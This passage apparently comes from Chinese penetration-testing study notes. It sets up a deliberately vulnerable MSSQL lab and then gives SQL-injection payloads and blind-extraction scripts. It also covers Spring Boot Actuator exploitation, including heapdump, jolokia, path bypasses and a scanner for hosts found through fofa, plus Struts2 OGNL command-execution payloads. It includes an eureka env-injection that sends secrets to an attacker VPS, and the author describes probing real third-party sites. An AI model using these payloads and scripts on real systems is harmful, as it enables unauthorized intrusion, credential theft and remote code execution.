        # 2. 切换到靶场数据库
        cursor.execute("USE SQLiLab")
        
        # 3. 创建表并插入测试数据
        cursor.execute("""
        IF NOT EXISTS (SELECT * FROM sysobjects WHERE name='Users' AND xtype='U')
        BEGIN
            CREATE TABLE Users (
                ID INT IDENTITY(1,1) PRIMARY KEY,
                Username VARCHAR(50),
                Password VARCHAR(50),
                Email VARCHAR(100)
            );
            INSERT INTO Users (Username, Password, Email) VALUES
            ('admin', 'SuperSecretAdmin123', 'admin@local.test'),
            ('testuser', 'password123', 'user@local.test'),
            ('flag','ZLARYY{h0w_Do_y0U_th1nk_m55ql?}','flag@local.test'),
            ('guest', 'guest', 'guest@local.test');
        END
        """)
        print("[+] 数据库自动初始化完成！表和数据已就绪。")
    except Exception as e:
        print(f"[-] 初始化数据库时出错: {e}")
    finally:
        conn.close()

# 在应用启动前执行初始化
init_db()

@app.route('/user')
def get_user():
    username = request.args.get('username')
    
    if not username:
        return "HERE MSSQL <br> 请提供 username 参数。例如: http://127.0.0.1:5003/user?username=admin"

    try:
        conn = pyodbc.connect(APP_CONN_STR)
        cursor = conn.cursor()

        # 【核心漏洞点】：拼接 SQL 语句
        query = f"SELECT * FROM Users WHERE Username = '{username}'"
        print(f"[*] 当前执行: {query}") 

        cursor.execute(query)
        rows = cursor.fetchall()

        result_html = "<h3>查询结果：</h3>"
        for row in rows:
            result_html += f"<p>ID: {row[0]} | Username: {row[1]} | Email: {row[3]}</p>"

        return result_html if rows else "未找到该用户。"

    except Exception as e:
        # 回显报错以支持报错注入测试
        return f"<h3>数据库执行错误:</h3><p>{str(e)}</p>"
    
    finally:
        if 'conn' in locals():
            conn.close()

if __name__ == '__main__':
    # 监听 0.0.0.0 使其能被容器外部访问
    app.run(host='0.0.0.0', port=5003)

除此之外还需要安装依赖：

python3 -m pip install flask pyodbc

之后在命令行用管理员身份运行跳转到MSSQL路径下执行：

docker-compose up --build

# union联合注入

我们的脚本时字符型单引号注入

?username=admin' and 1=1 --+

用order by判断列数：

?username=admin' order by 4 --+

查询数据库：

?username=0' union select 1,db_name(),'3','4' --+

或者可以使用sys.databases：

?username=0' union select 1,(select string_agg(name,'~') from sys.databases),'3','4' --+
?username=0' union select 1,(select top 1 name from sys.databases),'3','4' --+

查询schema：

?username=0' union select 1,(select string_agg(name,'~') from sys.schemas),'3','4' --+

查询表名：

?username=0' union select 1,(select string_agg(name,'~') from sys.tables),'3','4' --+

查询列名：

?username=0' union select 1,(select string_agg(name,'~') from sys.columns),'3','4' --+

在这里我们遇到一个问题，如果我们直接使用这个payload的话会报一串错误：

('42000', '[42000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]STRING_AGG aggregation result exceeded the limit of 8000 bytes. Use LOB types to avoid result truncation. (9829) (SQLExecDirectW)')

意思是我们的查询结果超出了8000字节的长度

在使用string_agg()函数将多行数据拼接成一行字符串时，SQL Server会根据传入的字段类型决定返回结果，如果传入的是普通的varchar(n)，string_agg()默认输出结果的最大容量只有8000字节，如果传入的是nvarchar(n)，最大容量只有4000字节，为了解决这个问题我们可以使用cast()或convert()实现强制类型转换：

?username=0' union select 1,(select string_agg(cast(name as varchar(MAX)),'~') from sys.columns),'3','4' --+

查询指定表名中的列名：

?username=0' union select 1,(select string_agg(name,'~') from sys.columns where object_id=(select object_id from sys.tables where name='Users')),'3','4' --+

和PostgreSQL的oid一样

?username=0' union select 1,(select string_agg(Username %2B '-' %2B Password,'~') from Users),'3','4' --+

由于+在URL中会被解析为空格所以需要进行一次URL编码，除此之外我们也可以试试concat()：

?username=0' union select 1,(select string_agg(concat(Username,'-',Password),'~') from Users),'3','4' --+

查询用户：

?username=0' union select 1,system_user,'3',user_name() --+

查版本：

?username=0' union select 1,cast(@@version as varchar(max)),'3',user_name() --+

# 报错注入

我们利用到的函数是convert()或cast()实现类型转换错误

?username=0' and 1=convert(int,db_name()) --+

查询数据库：

?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.databases)) --+

其实只需要修改中间的查询语句就可以实现了，这里就直接给出payload吧：

?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.schemas)) --+
# 查询schema
?username=0' and 1=convert(int,(select string_agg(name,'~') from sys.tables)) --+
# 查询表名
?username=0' and 1=convert(int,substring((select string_agg(cast(name as varchar(max)),'~') from sys.columns),1,8000)) --+
# 查询列名

在这里我们遇到了一个问题，在union联合注入中遇到超过8000字节只需要添加一个cast()就行，但是在这里我们还需要在前面添加上substring()，这是由于convert()函数报错：String or binary data would be truncated字符串或二进制数据会被截断，这是由于数据量塞得太满撑爆了convert函数的缓冲区，所以需要进一步用substring对查询内容进行进一次长度限制

?username=0' and 1=convert(int,(select string_agg(concat(Username,'-',Password),'~') from Users)) --+
# 查询flag

?username=0' and 1=convert(int,(select @@version)) --+
# 查询版本

?username=0' and 1=convert(int,(select user_name())) --+
# 查用户

# 布尔盲注

先看看真页面和假页面区别：

?username=admin' and 1=1 --+

?username=admin' and 1=2 --+

我们执行布尔盲注的逻辑是：

?username=admin' and substring((select db_name()),1,1)='S' --+

所以直接给出修改查询语句的盲注脚本：

import requests
import threading

url="http://localhost:5003/user"

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]-~?"

target="select string_agg(concat(Username,'-',Password),'~') from Users"

max_threads=10

result=""

for position in range(1,101):
    found={
        "char":None
    }
    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substring(({target}),{position},1)='{ch}' --+"

        try:
            response=requests.get(url,params={"username":payload})

            if 'local' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in chars:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]
            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("读取结束")
        break
print(result)

# 时间盲注

时间盲注利用逻辑为：

?username=admin';  if substring((select db_name()),1,1)='S' waitfor delay '0:0:5' --+

想要利用时间盲注的话只能采用堆叠注入，因为waitfor delay是语句及命令，不是函数

探测脚本如下：

import requests
import threading
import time

url="http://localhost:5003/user"

result=""

target="select db_name()"

max_threads=10

threshold=3

chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]-~?"

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin'; if substring(({target}),{position},1)='{ch}' waitfor delay '0:0:5' --+"
        
        start=time.perf_counter()
        try:
            response=requests.get(url,params={"username":payload})
            end=time.perf_counter()
            cost=end - start
            if cost >= threshold:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass
    
    threads=[]

    for ch in chars:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break
    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# 后记

当然，学完这些SQL注入之后其实可以发现注入的payload可以不止上面所写的一种形式，比如MSSQL的各种限制查询什么表的语句，但理解了通过什么元数据去查询什么字段之后应该能会一些举一反三的，关键还是得记住有哪些元数据存储了哪些字段名......orz

常规外网打点

2026-05-19T13:00:00.000Z

# 常规外网打点（持续更新中......）

# spring-boot

# actuator泄露

参考：可造成敏感信息泄露！Spring Boot Actuator信息泄露漏洞三种利用方式总结 - FreeBuf网络安全行业门户

Springboot之Actuator信息泄露漏洞利用_spring actuator 漏洞-CSDN博客

actuator是帮助管理和监控Spring-Boot应用的模块，这个模块采集应用的内部信息，展现给外部模块，可以查看应用配置的详细信息，例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及web请求的详细信息等。

如果没有正确使用Actuator，可能造成信息泄露等严重的安全隐患（外部人员非授权访问Actuator），其中heapdump作为Actuator组件最为危险的web端点，heapdump因未授权访问被恶意人员获取后进行分析，可进一步获取敏感信息

# 1.x版本

/configprops #显示所有@ConfigurationProperties

/env #公开Spring的ConfigurableEnvironment

/health #显示应用程序运行状况信息

/httptrace #显示HTTP跟踪信息

/metrics #显示当前应用程序的监控指标信息

/mappings #显示所有@RequestMapping路径的整理列表

/threaddump #线程转储

/heapdump #堆转储

/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

# 2.x版本

/actuator #查看有哪些Actuator端点是开放的

/actuator/auditevent #auditevents端点提供有关应用程序审计事件的信息

/actuator/beans #beans端点提供有关应用程序bean的信息

/actuator/configprops #configprops端点提供有关应用程序@ConfigurationProperties的信息

/actuator/env #查看全部环境属性，可以看到Spring-boot载入哪些properties，以及properties的值（会自动用*替换key、password、secret等关键字的properties的值）

/actuator/flyway #flyway端点提供有关Flyway执行的数据库迁移的信息

/actuator/health #显示应用程序运行状况信息

/actuator/httptrace #提供有关http请求-响应交换的信息（包括用户HTTP请求的Cookie数据，会造成Cookie泄露等）

/actuator/info #info端点提供有关应用程序的一般信息

/actuator/integrationgraph #integrationgraph端点公开了一个包含所有Spring Integrationgraph组件的图

/actuator/liquibase #liquibase端点提供有关Liquibase应用的数据库更改集的信息

/actuator/logfile #logfile端点提供对应用程序日志文件内容的访问

/actuator/loggers #loggers端点提供对应用程序记录器及其级别配置的访问

/actuator/mappings #mappings端点提供有关应用程序请求映射的信息

/actuator/metrics #metrics端点提供对应用程序指标的访问

/actuator/heapdump #heapdump端点提供来自应用程序JVM的堆转储（通过分析查看/env端点被*替换到数据的具体值）

/actuator/threaddump #线程转储

/actuator/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

/actuator/prometheus #端点以prometheusPrometheus服务器抓取所需的格式提供Spring-boot应用程序的指标

/actuator/quartz #quartz端点提供有关由Quartz调整程序管理的作业和触发器的信息

/actuator/scheduledtasks #scheduledtasks端点提供有关应用程序计划执行任务的信息

/actuator/sessions #sessions端点提供有关由Spring session管理的应用程序HTTP会话的信息

/actuator/startup #startup端点提供有关应用程序启动顺序的信息

/actuator/shutdown #shutdown端点用于关闭应用程序

接下来就是要利用heapdump去解决密码是*的问题，尝试了一下在本地搭建带有spring-boot的actuator信息泄露的靶场：

这里用的是kaliLinux

# 更新软件源并安装 OpenJDK 11 和 Maven
sudo apt update
sudo apt install default-jdk maven -y

# 验证安装是否成功（确保有版本信息输出）
java -version
mvn -version

#创建并就进入项目文件夹
mkdir ~/actuator-lab && cd ~/actuator-lab

#写入Maven配置文件（pom.xml）
cat << 'EOF' > pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lab</groupId>
    <artifactId>actuator-lab</artifactId>
    <version>1.0</version>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
EOF

#创建目录并写入配置文件（包含敏感信息）
mkdir -p src/main/resources
cat << 'EOF' > src/main/resources/application.properties
# 危险配置：暴露所有 actuator 接口
management.endpoints.web.exposure.include=*
# 模拟敏感配置信息
cloud.aws.credentials.access-key=AKIAIOSFODNN7EXAMPLE
cloud.aws.credentials.secret-key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
EOF

#创建目录并写入Java漏洞代码
mkdir -p src/main/java/com/lab
cat << 'EOF' > src/main/java/com/lab/ActuatorDemoApplication.java
package com.lab;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class ActuatorDemoApplication {

    // 模拟内存中驻留的敏感变量
    private String userSessionToken = "";

    public static void main(String[] args) {
        SpringApplication.run(ActuatorDemoApplication.class, args);
    }

    @GetMapping("/login")
    public String login(String password) {
        // 将用户的密码拼接后长期保留在内存中
        this.userSessionToken = "Token_Auth_" + password;
        return "Login Success! Password saved in memory.";
    }
}
EOF

#在~/actuator-lab目录下运行命令启动spring boot
mvn spring-boot:run
当终端出现类似 Started ActuatorDemoApplication in x.xx seconds 的字样时，说明靶场启动成功

搭建好之后可以通过IP下的8080端口访问

我们需要知道这个值，可以有几种利用方法

# heapdump

首先模拟一个登录状态，之后我们尝试信息泄露的手法去访问/actuator/env和/actuator/heapdump

访问/actuator/heapdump的话可以看到直接下载下来了一个文件，分析这个文件可以使用jvisualvm.exe这个JDK自带的工具，路径为JDK\bin\jvisualvm.exe

文件类型选择堆之后选择刚刚下载的heapdump，装入文件之后就是输入OQL语句过滤我们需要的信息

OQL是一种类似SQL的查询语言，用于查询Java堆，OQL允许从Java堆中过滤/选择所需的信息。虽然HAT已经支持诸如“显示X类的所有实例”之类的预定义查询，但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。

在Spring boot2.X版本中，env信息存储在java.util.LinkedHashMap$Entry类中

查询数据库密码需要在OQL控制台执行如下OQL语句：

select s from java.util.LinkedHashMap$Entry s where /spring.datadsource.password/.test(s.key)

不过我这里一直显示查询返回结果为空呢？

另一种方法就是先进入类标签页，在底部过滤器中搜索ActuatorDemoApplication

双击显示的有实例的类

找到这个userSessionToken，打开之后我们可以看到存在一个value：

84111107101110956511711610495907665828989

用逗号隔开的数字每一组对应一个字符的ASCII码：Token_Auth_ZLARYY

也可以试试使用https://github.com/wyzxxz/heapdump_tool

查询密码可以> password，获取ip> getip，获取url> geturl，获取文件路径> getfile

# jolokia

要利用这个方法的话需要目标网站存在/jolokia、/actuator/jolokia，使用了jolokia-core依赖，默认情况下actuator是没有jolokia接口的，所以需要再添加如下依赖：

<dependency>
    <groupId>org.jolokia</groupId> 
    <artifactId>jolokia-core</artifactId> 
<version>1.7.0</version> 
</dependency>

除此之外我们还需要在/src/main/resources/application.properties加上：

spring.application.admin.enabled=true

首先依旧是访问/actuator/env接口，，获取想要获得明文的属性名，然后通过jolokia调用相关MBean获取明文。

接下来我们访问/actuator/jolokia/list

查看的内容是目标环境中存在的MBean

接下来我们尝试通过调用我们找到的MBean来获取我们感兴趣字段的明文：

POST/actuator/jolokia 
Content-Type:application/json 
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
#这里用的是security.user.password，在我这里查询应该是cloud.aws.credentials.secret-key

jolokia是一个JMX-HTTP桥接器，在Java中，JMX（Java Management Extensions）是用来在程序运行期间管理和监控Java程序的底层机制。Jolokia允许你通过发送简单的HTTP(JSON)请求，去调用Java底层的JMX方法，这段payload其实是执行了：

// 获取名为 SpringApplication 的管理 Bean (MBean)
Object mbean = getMBean("org.springframework.boot:name=SpringApplication,type=Admin");

// 执行 (EXEC) 它的 getProperty 方法，传入参数 "security.user.password"
mbean.getProperty("security.user.password");

如果是直接change request method的话要记得把Content-Type改为application/json，否则默认会是application/x-www-form-urlencoded

路径变体寻找actuator：

#系统管理员可能将端点直接暴露在站点根目录下
GET /env HTTP/2
#Actuator 也可能存在于子目录中
GET /att-admin/env HTTP/2
GET /att-admin/actuator/env HTTP/2
GET /att-admin/info/env HTTP/2

通过特殊HTTP头访问actuator

X-Forwarded-For: 127.0.0.1
X-Original-URL: /avtuator/env

访问mappings端点

GET /actuator/mappings HTTP/2

访问这个端点很可能暴露出一些路由，去尝试访问就行

如果mappings不可用的话，可以检查metrics端点：

GET /actuator/metrics HTTP/2

它会返回可在后续请求中查询的指标名称列表:

{"names":["application.ready.time","application.started.time","disk.free","disk.total","executor.active","executor.completed","executor.pool.core","executor.pool.max","executor.pool.size","executor.queue.remaining","executor.queued","http.client.requests","http.client.requests.active","http.server.requests","http.server.requests.active","jvm.buffer.count","jvm.buffer.memory.used","jvm.buffer.total.capacity","jvm.classes.loaded","jvm.classes.unloaded","jvm.compilation.time","jvm.gc.live.data.size","jvm.gc.max.data.size","jvm.gc.memory.allocated","jvm.gc.memory.promoted","jvm.gc.overhead","jvm.gc.pause","jvm.info","jvm.memory.committed","jvm.memory.max","jvm.memory.usage.after.gc","jvm.memory.used","jvm.threads.daemon","jvm.threads.live","jvm.threads.peak","jvm.threads.started","jvm.threads.states","logback.events","process.cpu.time","process.cpu.usage","process.files.max","process.files.open","process.start.time","process.uptime","spring.cloud.gateway.requests","spring.cloud.gateway.routes.count","system.cpu.count","system.cpu.usage","system.load.average.1m"]}

其中大部分是普通的元数据，值得关注的有：

#利用这个字段产生的值尝试 vhost Fuzz 可能会有收获。这些主机名在 SSRF 场景中也非常有价值
spring.cloud.gateway.requests
#本质上是 mappings的低精度替代——信息量较少但仍然有用。从这里开始测试发现的路由即可
http.server.requests
#其含义与其他 metrics 类似。这些指标提供了有用的信息，能间接引导你继续深入
http.client.requests

使用方法如下：

GET /actuator/metrics/{metric-name} HTTP/2

查询后 (精简输出) 可以揭示服务器或客户端最近发送或接收的请求

路径遍历与绕过

一般来说，简单和双重 URL 编码有时能帮助访问”被屏蔽”的 Actuator 端点

上述引用文章也引用了https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf这个叫做Orange Tsai大佬的描述，通常表示为：
```
GET /..;/actuator/env HTTP/2
GET /static../actuator/env HTTP/2
GET /actuator/health/..;/env HTTP/2
```
替代方案：使用";"绕过

成功的原因通常是不良的重写规则、黑名单或配置错误的规则
```
GET /;/actuator/env HTTP/2
GET /actuator;/env HTTP/2
GET /actuator/env; HTTP/2
GET /actuator/env;.. HTTP/2
```
通过httptrace端点实现会话接管
```
GET /actuator/httptrace HTTP/2
```
其他有用的端点：logfile与gateway

Actuator经常暴露 gateway/routes端点。如果你有写权限，SSRF 是现实可行的；在旧版Spring Boot中甚至可能导致RCE。logfile端点需要由管理员启用，它返回特定事件的日志。
CVE-2022-22978：允许绕过认证
```
GET /actuator/%0Aenv HTTP/1.1
```

# 实例

在fofa上搜索：body="Whitelabel Error Page" && country!="CN"然后通过python发包探测哪些存在actuator泄露，具体脚本可参考：

import requests

route='/actuator/env'
urls=[
    "这里面写你搜索到的第一个url",
    "第二个",
    "第三个"
]

for url in urls:
    turl = url + route

    try:
        response=requests.get(turl,timeout=10)
        print(f"请求：{turl}")

        if response.status_code == 200:
            print("成功")
            print(response.text[:300])
        else:
            print("请求失败")

    except requests.exceptions.RequestException as e:
        pass

    print("-"*50)

这样你就可以看到类似的页面：

我尝试的是具有/avtuator/jolokia/list的网站，所以我尝试了第一种获取明文方法：

接下来我再复现另外几种：

# VPS

利用条件：

可以GET请求目标网站的/env，可以POST请求目标网站的/env，可以POST请求目标网站的/refresh接口刷新配置（存在spring-boot-starter-actuator依赖），目标使用了spring-cloud-starter-netflix-eureka-client依赖，目标可以请求攻击者的服务器（请求可出外网），Spring Boot版本大于2.2.4，则必须使用下面的属性手动启用POST API调用，management.endpoint.env.post.enabled=true，否则不能通过POST访问env端点。

利用方法

首先访问url+/actuator/env来获取我们想要明文字段的key，我这里是sun.java.command
在自己控制的外网服务器上监听80端口nc -lvp80
将下面

http://value:${security.user.password}@your-vps-ip
security.user.password换成自己想要获取的对应的星号*遮掩的属性名；
your-vps-ip换成自己外网服务器的真实ip地址

POST/actuator/env 
Content-Type:application/json 
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

然后刷新配置：

POST/actuator/refresh 
Content-Type:application/json

按理来说这里我的监听应该能收到：

GET/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Authorization:BasicdmFsdWU6cm9vdA==

类似于这种的请求，然后将Authorization里面的字段base64解码之后就可以查看value，但是我这里没有看到请求，倒是在对方服务器actuator里面看到了......

可以看到是6007，好像是利用其出网必须是1.x版本，可惜了。。。。。

这里ZLARYY在练习使用python呢：

import requests

base_url="http://受攻击的服务器"
route1="/actuator/env"
data={"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${server.port}@你的公网ip:8888/eureka/"}
headers={"Content-Type": "application/json"}
r1=requests.post(base_url+route1,json=data,headers=headers,timeout=10)
print(r1.status_code)
print(r1.text[:300])
route2="/actuator/refresh"
r2=requests.post(base_url+route2,headers=headers,timeout=10)
print(r2.status_code)
print(r2.text[:300])

另一种方法与这一种类似，只是包不一样：

POST/actuator/env
Content-Type:application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

然后还是进行刷新配置，再查看VPS

POST/actuator/refresh 
Content-Type:application/json

Ncat:Connectionfrom****** 
GET/SecretKe/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Host:****** 
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

apps前面的路径就是需要的数据

# struts

学习struts相关漏洞之前先学习一下什么是OGNL吧

# OGNL

参考：Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园

Struts2_S2-045漏洞复现：原理详解+环境搭建+渗透实践(CVE-2017-5638)-CSDN博客

Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户

Ognl表达式基本原理和使用方法 - 洋葱源码 - 博客园

一文全解：OGNL表达式以及Mybatis中的OGNL表达式-CSDN博客

Object Graphic Navigation Language，是一种表达式语言，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性，OGNL可以让我们用非常简单的表达式访问对象层，例如，当前环境的根对象为user1，则表达式person.address[0].province可以访问到user1的person属性的第一个address的province属性。

基本语法：

object.property.property...

其中object是要访问的对象，.适用于分隔对象和属性的符号，property是对象的属性名。OGNL表达式可以连续使用.来访问对象的嵌套属性

例如：假设有一个ZLARYY对象，其中包含一个Friends对象，可以使用OGNL表达式ZLARYY.Friends.Su@sU来访问Friends对象中的Su@sU属性

OGNL表达式除了基本的属性访问之外，还提供了许多高级特性，如：

方法调用：可以使用()符号来调用对象的方法，如Person.getAge()
数组和集合访问：可以使用[]符号来访问数组和集合中的元素，如：persons[0].name、Person.{name}
条件表达式：可以使用?:符号来实现条件表达式，如Person.age > 18 ? '成年' : '未成年'
循环和迭代：可以使用{和}符号来实现循环和迭代，如{0..10}、{Persons.name}

开发者喜欢配合spring、hibernat用，称为SSH

接下来跟着Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园复现漏洞！！！

# S2-001（CVE-2007-4556）

它是Apache Struts2历史上第一个被公开的OGNL注入漏洞，这个漏洞产生的根本原因在于Struts2早期版本（2.0.0-2.0.8）处理表单验证失败时的逻辑缺陷，在一个典型的web登录或注册场景中，如果用户填写的表单数据没有通过验证（比如密码太短、用户名包含非法字符），后端通常会将用户打回原表单页面，并且把刚才用户输入的内容回显在输入框里面

为了实现这个动态回显功能，struts2默认开启了一个名为altSynax的特性，当表单验证失败需要重绘页面时，框架会将输入框的值作为OGNL表达式进行递归解析

这时候如果用户利用OGNL的语法特征，使用%{}将输入包裹起来，Struts2就会认为这是一段代码并执行它，比如：

假设你再用户名输入框里面填入：%{2+2}
当表单验证失败并重新加载后，就会发现输入框里面的内容变成了：4
这就证明服务器将用户的输入当成OGNL代码执行了

因为OGNL具备强大的Java底层调用能力，攻击者可以直接将数学运算替换为系统命令

具体的复现可以参考Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园这个大佬的文章，等ZLARYY学了代码审计之后再补复现的内容吧orz，这里就贴一下大佬的payload先：

# 获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
# 最后可能看到类似于 value="tomcatBinDir{usr/local/tomcat}" 就可以知道当前 tomcat 的执行路径为 /usr/local/tomcat

# 获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
# 可能会回显 /usr/local/tomcat/webapps/ROOT/ 之类的当前系统 Web 路径

# 执行任意命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
# 在这里面我们执行的命令是 whoami

# S2-003

S2-003是一个沙箱逃逸漏洞，其出现的原因是S2-001出现之后官方对其做了两层防御：

1.正则黑名单拦截：在ParametersInterceptor（处理HTTP参数的拦截器）中加入正则表达式，禁止参数名中包含#符号，因为OGNL访问上下文变量（如#session）必须用到#

2.引入安全沙箱(SecurityMemberAccess)：在OGNL引擎底层增加了一个权限控制器，默认将allowStaticMethodAccess设置为false，从而禁用@符号去调用java.lang.Runtime等危险类的静态方法。

但是官方的正则表达式只拦截了明文的#字符，如果在HTTP参数名中使用OGNL引擎支持的Unicode编码\u0023或者八进制\43就能实现绕过#限制，然后就可以通过OGNL表达式修改沙箱的配置

# payload
//URL后拼接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

或者：

# 开启静态方法调用权限（关闭沙箱）：利用\u0023绕过拦截拿到#_memverAccess对象，强行把allowStaticMethodAccess属性改为true
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(empty)=true
# 放开方法执行限制
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']')(empty)=false
# 执行系统命令：沙箱被瓦解，然后使用@符号调用Runtime.getRuntime().exec()
('\u0023_memberAccess.excludeProperties={}')(empty)=true&
('\u0023rt=@java.lang.Runtime@getRuntime()')(empty)=true&
('\u0023rt.exec("whoami")')(empty)=true

# S2-005（CVE-2010-1870）

该漏洞的产生首先是对S2-003漏洞的修补，官方在修补S2-003的时候仅仅是在用来拦截特殊字符的正则表达式的黑名单里，硬编码加上了\u0023和\43这两个字符串，不过，只要对\u0023再做一些变化就能再次绕过黑名单，本质上与S2-003触发的是同一个底层问题。

在受影响的struts版本(2.0.0-2.1.8.1)中，XWork的ParametersIbtercepter（负责将HTTP参数映射到Java对象）在处理参数名时，默认允许使用OGNL表达式，XWork会将GET参数的键和值利用OGNL表达式解析为Java语句：

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

payload：

/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

# S2-007

与前几个漏洞场景不同，该漏洞核心为：类型转换错误

假设有一个注册表单里面有一个字段叫做“年龄”，在后端的Java中这个字段被定义为了Integer整数类型，正常情况下用户输入18，Struts2会自动将字符串"18"转换为整数18并赋值给属性，但如果用户输入abc就会造成类型转换粗偶无，框架无法把abc转成整数，于是会中断正常的流程并在输入框旁边提示“无效的年龄输入”，并且会将用户刚才输入的错误内容原样回显在输入框里面，但在这个回显的底层逻辑中，当ConversationErrorIntercepter（专门处理转换错误的拦截器）介入时，它会将用户的错误输入存入一个Map中，当页面的UI标签（比如<s:textfield>）尝试把错误值渲染回网页时，它会对这个值进行OGNL评估，为了防止直接执行，Struts2开发者在拼接OGNL表达式时给用户的输入加上了单引号，试图当作一个纯字符串来处理

当用户提交age为字符串而非整形数值时，后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似SQL注入单引号拼接的方式即可注入任意OGNL表达式。

影响范围：2.0.0-2.2.3

# payload
